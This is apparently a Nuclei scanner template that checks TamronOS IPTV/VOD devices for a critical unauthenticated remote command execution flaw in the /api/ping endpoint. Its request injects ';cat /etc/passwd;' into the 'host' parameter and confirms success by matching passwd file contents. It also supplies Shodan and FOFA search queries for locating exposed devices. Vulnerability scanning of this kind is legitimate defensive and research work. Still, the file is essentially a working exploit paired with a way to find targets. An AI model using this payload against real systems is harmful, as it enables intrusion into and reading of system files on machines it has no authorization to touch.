id: tamronos-rce

info:
  name: TamronOS IPTV/VOD - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: |
    TamronOS IPTV/VOD contains a remote command execution in the 'host' parameter of the /api/ping endpoint.
  reference:
    - https://twitter.com/sec715/status/1405336456923471874
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-78
    cpe: cpe:2.3:o:tamronos:tamronos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TamronOS IPTV系统"
    fofa-query: title="TamronOS IPTV系统"
    product: tamronos
    vendor: tamronos
  tags: tamronos,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b0de774fca4115058f5c4c6aa4903d94a62212f31d4192d35ce537882156e363022100e6aaa33e0c35071f5738e9517be8ed22e6d56ad441bba11a92e8161f635e295c:922c64590222798bb761d5b6d8e72950